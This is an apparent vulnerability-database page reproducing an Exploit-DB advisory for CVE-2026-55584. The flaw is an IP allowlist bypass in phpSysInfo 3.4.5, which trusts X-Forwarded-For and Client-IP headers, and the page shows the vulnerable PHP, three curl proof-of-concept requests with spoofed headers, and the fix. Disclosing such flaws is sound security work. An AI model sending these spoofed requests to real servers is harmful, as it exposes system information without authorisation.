Lucene search
+L

phpSysInfo 3.4.5 - IP Allowlist Bypass

🗓️ 17 Aug 2026 00:00:00Reported by Muhammed Mirac KayikciType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 9 Views

phpSysInfo <=3.4.5 trusts X-Forwarded-For header, allowing IP allowlist bypass to expose full system info.

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2026-55584
16 Jul 202619:00
circl
cve
CVE
CVE-2026-55584
16 Jul 202619:00
cve
packetstorm
Packet Storm
📄 phpSysInfo 3.4.5 IP Allowlist Bypass
26 Jun 202600:00
packetstorm
# Exploit Title: phpSysInfo  3.4.5 - IP Allowlist Bypass
# Google Dork: N/A
# Date: 2026-07-11
# Exploit Author: Muhammed Mirac Kayikci
# Vendor Homepage: https://phpsysinfo.github.io/phpsysinfo/
# Software Link: https://github.com/phpsysinfo/phpsysinfo/archive/refs/tags/v3.4.5.tar.gz
# Version: <= 3.4.5
# Tested on: Linux (Apache/PHP)
# CVE : CVE-2026-55584

References:
-----------
GHSA: https://github.com/phpsysinfo/phpsysinfo/security/advisories/GHSA-786w-p5pm-cvgh
CVE:  https://www.cve.org/CVERecord?id=CVE-2026-55584

Description:
------------
phpSysInfo's PSI_ALLOWED IP allowlist resolves the client IP from the
attacker-controlled "X-Forwarded-For" (then "Client-IP") request headers before
falling back to REMOTE_ADDR. There is no trusted-proxy concept, so an attacker
can spoof an allowed IP address, defeat the allowlist, and read full system
information exposed via xml.php.

Vulnerable code (read_config.php):
----------------------------------
if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) {
    $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
} elseif (isset($_SERVER["HTTP_CLIENT_IP"])) {
    $ip = $_SERVER["HTTP_CLIENT_IP"];
} else {
    $ip = $_SERVER["REMOTE_ADDR"];   // only trustworthy source, checked last
}

Proof of Concept:
-----------------
# Allowlist set to an address the attacker does not own (ALLOWED=8.8.8.8)

# 1) Baseline - request is blocked:
curl -s http://target/xml.php
#    -> "Client IP address (...) not allowed."

# 2) Bypass via X-Forwarded-For - returns full system XML:
curl -s -H "X-Forwarded-For: 8.8.8.8" http://target/xml.php

# 3) Bypass via Client-IP - returns full system XML:
curl -s -H "Client-IP: 8.8.8.8" http://target/xml.php

Fix:
----
Fixed in 3.4.6 (commit 019fa2d): default to REMOTE_ADDR; honor X-Forwarded-For /
Client-IP only from configured trusted proxies.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Aug 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
9